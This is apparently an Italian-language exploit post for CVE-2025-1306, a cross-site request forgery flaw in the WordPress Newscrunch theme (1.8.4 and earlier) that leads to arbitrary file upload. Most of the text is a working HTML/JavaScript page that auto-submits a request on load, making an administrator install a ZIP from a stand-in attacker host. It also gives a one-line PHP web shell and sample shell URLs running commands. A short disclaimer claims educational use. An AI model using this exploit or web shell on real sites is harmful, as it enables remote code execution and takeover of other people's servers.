
Newscrunch <= 1.8.4 - Cross-Site Request Forgery per Caricamento Arbitrario di File
Questo exploit prende di mira una vulnerabilità di Cross-Site Request Forgery (CSRF) verso upload arbitrario di file (CVE-2025-1306) nel tema WordPress Newscrunch. A causa della mancata validazione nonce nella funzione newscrunch_install_and_activate_plugin(), un attaccante non autenticato può indurre un amministratore autenticato a caricare file arbitrari sul server, consentendo l'esecuzione remota di codice (RCE).
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:HSfruttabilità: richiede che un amministratore visiti un collegamento dannoso appositamente creato.
Questo exploit costringe un amministratore autenticato a eseguire un attacco CSRF che carica un file ZIP malevolo contenente una web shell.
<!DOCTYPE html>
<html>
<head>
<title>CSRF Exploit CVE-2025-1306 By Nxploit ,Khaled AlEnazi</title>
</head>
<body>
<h2>Click anywhere to load content...</h2>
<script>
function sendExploit() {
var form = document.createElement("form");
form.method = "POST";
form.action = "http://target.com/wp-admin/admin-ajax.php?action=newscrunch_install_activate_plugin";
var input = document.createElement("input");
input.type = "hidden";
input.name = "plugin_url";
input.value = "http://attacker.com/shell.zip";
form.appendChild(input);
document.body.appendChild(form);
form.submit();
}
window.onload = function() {
sendExploit();
};
</script>
</body>
</html>
📌 Sostituisci:
http://target.com/ con il sito WordPress vulnerabilehttp://attacker.com/shell.zip con un payload ZIP malevolo contenente una web shell.<?php system($_GET['cmd']); ?>
📌 Dopo lo sfruttamento riuscito, accedi alla shell:
http://target.com/wp-content/plugins/shell.php?cmd=whoami
http://target.com/wp-content/plugins/shell.php?cmd=ls
Questo strumento è destinato esclusivamente a scopi educativi e di ricerca sulla sicurezza. Lo sfruttamento non autorizzato delle vulnerabilità è illegale e punibile per legge. L'autore non è responsabile per qualsiasi uso improprio o danno causato da questo strumento. Usalo in modo responsabile.